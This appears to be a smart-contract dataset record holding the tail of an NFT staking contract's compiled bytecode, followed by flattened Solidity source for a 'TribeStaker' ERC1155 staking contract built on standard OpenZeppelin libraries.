1916820160405261117491908101906134f6565b8051909150156112ed573360009081526116c2602052604090205460ff166111c3576116c6543360009081526116c160209081526040808320939093556116c2905220805460ff191660011790555b6111ce815133612ce1565b3360009081526116c0602090815260408083205484516116c1909352922054620151809291906111fe90426136e0565b61120891906136c1565b61121291906136c1565b61121c91906136a1565b3360009081526116c360205260408120805490919061123c908490613689565b9091555061124c90508133612e12565b3360009081526116c46020526040902054156112d95760cf543360009081526116c460205260409020546201518091611284916136c1565b3360009081526116c1602052604090205461129f90426136e0565b6112a991906136c1565b6112b391906136a1565b3360009081526116c36020526040812080549091906112d3908490613689565b90915550505b3360009081526116c1602052604090204290555b503360009081526116c3602090815260408083205460d89092528220546060929161131791613689565b60d7546040516340c10f1960e01b8152336004820152602481018390529192506001600160a01b0316906340c10f1990604401600060405180830381600087803b15801561136457600080fd5b505af1158015611378573d6000803e3d6000fd5b505060408051338152602081018590527f529be2fc7695aa4bea51b31827bae6ca73ce18e719bf334a08df18fa1e1bac26935001905060405180910390a1505033600090815260d8602090815260408083208390556116c39091528120556001609755565b6033546001600160a01b031633146114375760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106b1565b6114416000612eae565b565b600260975414156114965760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016106b1565b600260975560655460ff16156114e15760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106b1565b33600090815260dc602052604090205460ff161561161e5733600090815260da602090815260408083205460db83528184205460d99093529220546001926201518092909161ffff9091169061153790426136e0565b61154191906136c1565b61154b91906136c1565b61155591906136a1565b33600090815260d86020526040812080549290931b9291611577908490613689565b909155505033600090815260de602052604090205460ff161561160b5760cf5433600090815260de602052604090205462015180916115b89160ff166136c1565b33600090815260d960205260409020546115d290426136e0565b6115dc91906136c1565b6115e691906136a1565b33600090815260d8602052604081208054909190611605908490613689565b90915550505b33600090815260d9602052604090204290555b33600090815260dc602052604090205460ff1661167d5760405162461bcd60e51b815260206004820152601660248201527f5374616b6520736f6d6520626c7565732066697273740000000000000000000060448201526064016106b1565b60005b81811015611a055760d65430906001600160a01b0316636352211e8585858181106116bb57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906116d091906135dc565b6040516001600160e01b031960e084901b16815261ffff909116600482015260240160206040518083038186803b15801561170a57600080fd5b505afa15801561171e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174291906133c8565b6001600160a01b0316146117985760405162461bcd60e51b815260206004820152601760248201527f5468697320426c7565206973206e6f74207374616b656400000000000000000060448201526064016106b1565b3360df8484848181106117bb57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906117d091906135dc565b61ffff166115e081106117f357634e487b7160e01b600052603260045260246000fd5b01546001600160a01b0316146118565760405162461bcd60e51b815260206004820152602260248201527f596f7520617265206e6f7420746865206f776e6572206f66207468697320626c604482015261756560f01b60648201526084016106b1565b61189983838381811061187957634e487b7160e01b600052603260045260246000fd5b905060200201602081019061188e91906135dc565b61ffff166000612f00565b60df8383838181106118bb57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906118d091906135dc565b61ffff166115e081106118f357634e487b7160e01b600052603260045260246000fd5b0180546001600160a01b031916905533600090815260db60205260408120805461ffff1691611921836136f7565b825461ffff9182166101009390930a92830291909202199091161790555060d6546001600160a01b03166342842e0e303386868681811061197257634e487b7160e01b600052603260045260246000fd5b905060200201602081019061198791906135dc565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015261ffff166044820152606401600060405180830381600087803b1580156119da57600080fd5b505af11580156119ee573d6000803e3d6000fd5b5050505080806119fd9061374a565b915050611680565b5033600090815260db6020526040902054611a239061ffff16612f9a565b60d75433600081815260d86020526040908190205490516340c10f1960e01b8152600481019290925260248201526001600160a01b03909116906340c10f1990604401600060405180830381600087803b158015611a8057600080fd5b505af1158015611a94573d6000803e3d6000fd5b505033600081815260d86020908152604091829020548251938452908301527f529be2fc7695aa4bea51b31827bae6ca73ce18e719bf334a08df18fa1e1bac26935001905060405180910390a1505033600090815260d860205260408120556001609755565b6033546001600160a01b03163314611b545760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106b1565b60d7546040516340c10f1960e01b81526001600160a01b03838116600483015260248201859052909116906340c10f1990604401600060405180830381600087803b158015611ba257600080fd5b505af1158015611bb6573d6000803e3d6000fd5b505050505050565b6001600160a01b038116600090815260da602090815260408083205460db9092528220548291611bf19161ffff166136c1565b60cf546001600160a01b038516600090815260de6020526040902054919250611c1c9160ff166136c1565b611c269082613689565b9150505b919050565b6033546001600160a01b03163314611c895760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106b1565b60d680546001600160a01b0319166001600160a01b0392909216919091179055565b6000816102f41480611cbe575081610855145b80611cca575081610457145b80611cd65750816103e7145b80611ce2575081610378145b80611cee5750816101b3145b80611cfa57508161037b145b80611d06575081610396145b80611d11575081607b145b80611d1d5750816101b0145b80611d2957508161021f145b80611d355750816101bc145b80611d4157508161014d145b80611d4c57508160de145b80611d5757508160eb145b80611d63575081610285145b80611d6f575081610382145b80611d7b5750816104a6145b80611d87575081610c0a145b80611d93575081610d7d145b80611d9f575081610b3c145b80611dab575081611450145b80611db75750816101c3145b80611dc357506115b382115b15611dd057506001611c2a565b506000919050565b60df816115e08110611de957600080fd5b01546001600160a01b0316905081565b6033546001600160a01b03163314611e535760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106b1565b6116c655565b60026097541415611eac5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016106b1565b600260975560655460ff1615611ef75760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106b1565b6000805b8281101561237d5760d65430906001600160a01b0316636352211e868685818110611f3657634e487b7160e01b600052603260045260246000fd5b905060200201356040518263ffffffff1660e01b8152600401611f5b91815260200190565b60206040518083038186803b158015611f7357600080fd5b505afa158015611f87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fab91906133c8565b6001600160a01b03161415612060573360df858584818110611fdd57634e487b7160e01b600052603260045260246000fd5b905060200201356115e0811061200357634e487b7160e01b600052603260045260246000fd5b01546001600160a01b03161461205b5760405162461bcd60e51b815260206004820152601160248201527f4e6f6e206f776e6572206f6620626c756500000000000000000000000000000060448201526064016106b1565b61215e565b60d65433906001600160a01b0316636352211e86868581811061209357634e487b7160e01b600052603260045260246000fd5b905060200201356040518263ffffffff1660e01b81526004016120b891815260200190565b60206040518083038186803b1580156120d057600080fd5b505afa1580156120e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061210891906133c8565b6001600160a01b03161461215e5760405162461bcd60e51b815260206004820152600960248201527f4e6f6e206f776e6572000000000000000000000000000000000000000000000060448201526064016106b1565b60dd600085858481811061218257634e487b7160e01b600052603260045260246000fd5b602090810292909201358352508101919091526040016000205460ff16156122125760405162461bcd60e51b815260206004820152602660248201527f5265776172647320616c726561647920636c61696d656420666f72207468697360448201527f20746f6b656e000000000000000000000000000000000000000000000000000060648201526084016106b1565b600160dd600086868581811061223857634e487b7160e01b600052603260045260246000fd5b90506020020135815260200190815260200160002060006101000a81548160ff0219169083151502179055506101f484848381811061228757634e487b7160e01b600052603260045260246000fd5b90506020020135116122a75760d0546122a09083613689565b9150612327565b6101f48484838181106122ca57634e487b7160e01b600052603260045260246000fd5b9050602002013511801561230557506105dc8484838181106122fc57634e487b7160e01b600052603260045260246000fd5b90506020020135105b156123175760d1546122a09083613689565b60d2546123249083613689565b91505b61235684848381811061234a57634e487b7160e01b600052603260045260246000fd5b90506020020135611cab565b1561236b5760d4546123689083613689565b91505b806123758161374a565b915050611efb565b5060d7546040516340c10f1960e01b8152336004820152602481018390526001600160a01b03909116906340c10f1990604401600060405180830381600087803b1580156123ca57600080fd5b505af11580156123de573d6000803e3d6000fd5b505060408051338152602081018590527f529be2fc7695aa4bea51b31827bae6ca73ce18e719bf334a08df18fa1e1bac26935001905060405180910390a15050600160975550565b6033546001600160a01b031633146124805760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106b1565b60d780546001600160a01b0319166001600160a01b0392909216919091179055565b600260975414156124f55760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016106b1565b600260975560655460ff16156125405760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106b1565b33600090815260dc602052604090205460ff161561267d5733600090815260da602090815260408083205460db83528184205460d99093529220546001926201518092909161ffff9091169061259690426136e0565b6125a091906136c1565b6125aa91906136c1565b6125b491906136a1565b33600090815260d86020526040812080549290931b92916125d6908490613689565b909155505033600090815260de602052604090205460ff161561266a5760cf5433600090815260de602052604090205462015180916126179160ff166136c1565b33600090815260d9602052604090205461263190426136e0565b61263b91906136c1565b61264591906136a1565b33600090815260d8602052604081208054909190612664908490613689565b90915550505b33600090815260d9602052604090204290555b6116c55460ff16156126d15760405162461bcd60e51b815260206004820152601560248201527f7374616b696e67206973206e6f7720706175736564000000000000000000000060448201526064016106b1565b60c95433600090815260da602052604090205560018110156127355760405162461bcd60e51b815260206004820152601460248201527f6e656564206174206c65617374203120626c756500000000000000000000000060448201526064016106b1565b60005b818110156129285760d65433906001600160a01b0316636352211e85858581811061277357634e487b7160e01b600052603260045260246000fd5b905060200201602081019061278891906135dc565b6040516001600160e01b031960e084901b16815261ffff909116600482015260240160206040518083038186803b1580156127c257600080fd5b505afa1580156127d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127fa91906133c8565b6001600160a01b03161461285b5760405162461bcd60e51b815260206004820152602260248201527f596f7520617265206e6f7420746865206f776e6572206f66207468697320626c604482015261756560f01b60648201526084016106b1565b61289e83838381811061287e57634e487b7160e01b600052603260045260246000fd5b905060200201602081019061289391906135dc565b61ffff166001612f00565b33600090815260db60205260408120805461ffff16916128bd83613728565b91906101000a81548161ffff021916908361ffff16021790555050612916338484848181106128fc57634e487b7160e01b600052603260045260246000fd5b905060200201602081019061291191906135dc565b61308d565b806129208161374a565b915050612738565b5033600090815260db60205260409020546129469061ffff16612f9a565b33600090815260dc602052604090205460ff166129855733600090815260d96020908152604080832042905560dc9091529020805460ff191660011790555b50506001609755565b6033546001600160a01b031633146129e85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106b1565b6001600160a01b038116612a645760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016106b1565b6107c081612eae565b60655460ff1615612ab35760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106b1565b6065805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258612ae83390565b6040516001600160a01b03909116815260200160405180910390a1565b60655460ff16612b575760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f742070617573656400000000000000000000000060448201526064016106b1565b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33612ae8565b600054610100900460ff16612bf35760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016106b1565b6114416131d3565b600054610100900460ff16612c665760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016106b1565b611441613247565b600054610100900460ff16612cd95760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016106b1565b6114416132be565b6005821015612d0c5760c9546001600160a01b03821660009081526116c06020526040902055612e0e565b60058210158015612d1e575060098211155b15612d455760ca546001600160a01b03821660009081526116c06020526040902055612e0e565b600a8210158015612d57575060138211155b15612d7e5760cb546001600160a01b03821660009081526116c06020526040902055612e0e565b60148210158015612d90575060278211155b15612db75760cc546001600160a01b03821660009081526116c06020526040902055612e0e565b60288210158015612dc95750604f8211155b15612df05760cd546001600160a01b03821660009081526116c06020526040902055612e0e565b60ce546001600160a01b03821660009081526116c060205260409020555b5050565b6001600160a01b03811660009081526116c4602052604081208190555b8251811015610ba057612e6c838281518110612e5b57634e487b7160e01b600052603260045260246000fd5b602002602001015161ffff16611cab565b15612e9c576001600160a01b03821660009081526116c460205260408120805491612e968361374a565b91905055505b80612ea68161374a565b915050612e2f565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8015612f5157612f0f82611cab565b15612f4c5733600090815260de60205260408120805460ff1691612f3283613765565b91906101000a81548160ff021916908360ff160217905550505b612e0e565b612f5a82611cab565b15612e0e5733600090815260de60205260408120805460ff1691612f7d83613715565b91906101000a81548160ff021916908360ff160217905550505050565b6005811015612fbb5760c95433600090815260da60205260409020556107c0565b60058110158015612fcd575060098111155b15612fea5760ca5433600090815260da60205260409020556107c0565b600a8110158015612ffc575060138111155b156130195760cb5433600090815260da60205260409020556107c0565b6014811015801561302b575060278111155b156130485760cc5433600090815260da60205260409020556107c0565b6028811015801561305a5750604f8111155b156130775760cd5433600090815260da60205260409020556107c0565b60ce5433600090815260da602052604090205550565b60655460ff16156130d35760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106b1565b8160df8261ffff166115e081106130fa57634e487b7160e01b600052603260045260246000fd5b0180546001600160a01b0319166001600160a01b0392831617905560d6546040517f42842e0e00000000000000000000000000000000000000000000000000000000815233600482015230602482015261ffff841660448201529116906342842e0e90606401600060405180830381600087803b15801561317a57600080fd5b505af115801561318e573d6000803e3d6000fd5b50506040805133815261ffff851660208201527f3a77ea605fa97d5b6216289600ad1bbaeccfd0f0a527b9976515509c863773f4935001905060405180910390a15050565b600054610100900460ff1661323e5760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016106b1565b61144133612eae565b600054610100900460ff166132b25760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016106b1565b6065805460ff19169055565b600054610100900460ff166133295760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016106b1565b6001609755565b604051806202bc0001604052806115e0906020820280368337509192915050565b60008083601f840112613362578081fd5b50813567ffffffffffffffff811115613379578182fd5b602083019150836020808302850101111561339357600080fd5b9250929050565b8051611c2a816137c6565b6000602082840312156133b6578081fd5b81356133c1816137b1565b9392505050565b6000602082840312156133d9578081fd5b81516133c1816137b1565b600080604083850312156133f6578081fd5b8235613401816137b1565b91506020830135613411816137b1565b809150509250929050565b600080600080600060808688031215613433578081fd5b853561343e816137b1565b9450602086013561344e816137b1565b935060408601359250606086013567ffffffffffffffff80821115613471578283fd5b818801915088601f830112613484578283fd5b813581811115613492578384fd5b8960208285010111156134a3578384fd5b9699959850939650602001949392505050565b600080602083850312156134c8578182fd5b823567ffffffffffffffff8111156134de578283fd5b6134ea85828601613351565b90969095509350505050565b60006020808385031215613508578182fd5b825167ffffffffffffffff8082111561351f578384fd5b818501915085601f830112613532578384fd5b8151818111156135445761354461379b565b838102604051601f19603f830116810181811085821117156135685761356861379b565b604052828152858101935084860182860187018a1015613586578788fd5b8795505b838610156135af5761359b8161339a565b85526001959095019493860193860161358a565b5098975050505050505050565b6000602082840312156135cd578081fd5b813580151581146133c1578182fd5b6000602082840312156135ed578081fd5b81356133c1816137c6565b600060208284031215613609578081fd5b5035919050565b600060208284031215613621578081fd5b5051919050565b6000806040838503121561363a578182fd5b823591506020830135613411816137b1565b6202bc008101818360005b6115e08110156136805781516001600160a01b0316835260209283019290910190600101613657565b50505092915050565b6000821982111561369c5761369c613785565b500190565b6000826136bc57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156136db576136db613785565b500290565b6000828210156136f2576136f2613785565b500390565b600061ffff82168061370b5761370b613785565b6000190192915050565b600060ff82168061370b5761370b613785565b600061ffff8083168181141561374057613740613785565b6001019392505050565b600060001982141561375e5761375e613785565b5060010190565b600060ff821660ff81141561377c5761377c613785565b60010192915050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c057600080fd5b61ffff811681146107c057600080fdfea26469706673582212200a73160773526d3e54a0649a37a9356f58559097e9f784b88add26fb1a2483bd64736f6c63430008020033
[ 7, 5 ]
0xf3abe5d4335537293d485345b59e9750cb45b3e8
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ abstract contract ERC1155Receiver is ERC165, IERC1155Receiver { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: contracts/TribeStaker.sol pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; interface DAC { function originalDacInfoOfId(uint256 _id) external returns ( address originalOwner, uint256 id, uint256 code, uint256 power ); function originalPieceInfoOfId(uint256 _id) external returns ( address originalOwner, uint256 id, uint256 code, uint256 power ); function isApprovedForAll(address account, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; } contract TribeStaker is Ownable, ERC1155Receiver { using SafeMath for uint256; struct NFTInfo { address nft; uint256 id; uint256 code; uint256 power; } mapping(address => bool) public stakedCreator; mapping(address => NFTInfo) private stakedNFT; DAC public babelTowerDAC; DAC public normalDAC; constructor(DAC _babelTowerDAC, DAC _normalDAC) { babelTowerDAC = _babelTowerDAC; normalDAC = _normalDAC; } function checkCreatorStakedInfo(address creator) external view returns ( address nft, uint256 id, uint256 code, uint256 power ) { nft = stakedNFT[creator].nft; id = stakedNFT[creator].id; code = stakedNFT[creator].code; power = stakedNFT[creator].power; } function stakeBabel(address creator, uint256 _id) external returns (bool) { require(!stakedCreator[creator], "TribeStaker: staked creator"); require(babelTowerDAC.isApprovedForAll(msg.sender, address(this)), "TribeStaker: not approved"); (, uint256 id, uint256 code, uint256 power) = babelTowerDAC.originalPieceInfoOfId(_id); stakedCreator[creator] = true; stakedNFT[creator] = NFTInfo({ nft: address(babelTowerDAC), id: id, code: code, power: power }); babelTowerDAC.safeTransferFrom(msg.sender, address(this), id, 1, bytes("1")); emit TribeStaked(msg.sender, creator, address(babelTowerDAC), id, power); return true; } function stakeDAC(address creator, uint256 _id) external returns (bool) { require(!stakedCreator[creator], "TribeStaker: staked creator"); require(normalDAC.isApprovedForAll(msg.sender, address(this)), "TribeStaker: not approved"); (, uint256 id, uint256 code, uint256 power) = normalDAC.originalDacInfoOfId(_id); stakedCreator[creator] = true; stakedNFT[creator] = NFTInfo({ nft: address(normalDAC), id: id, code: code, power: power }); normalDAC.safeTransferFrom(msg.sender, address(this), id, 1, bytes("1")); emit TribeStaked(msg.sender, creator, address(normalDAC), id, power); return true; } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external pure override returns (bytes4) { return this.onERC1155Received.selector; } function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external pure override returns (bytes4) { return this.onERC1155BatchReceived.selector; } event TribeStaked( address indexed sender, address indexed creator, address indexed nft, uint256 id, uint256 initialPower ); }
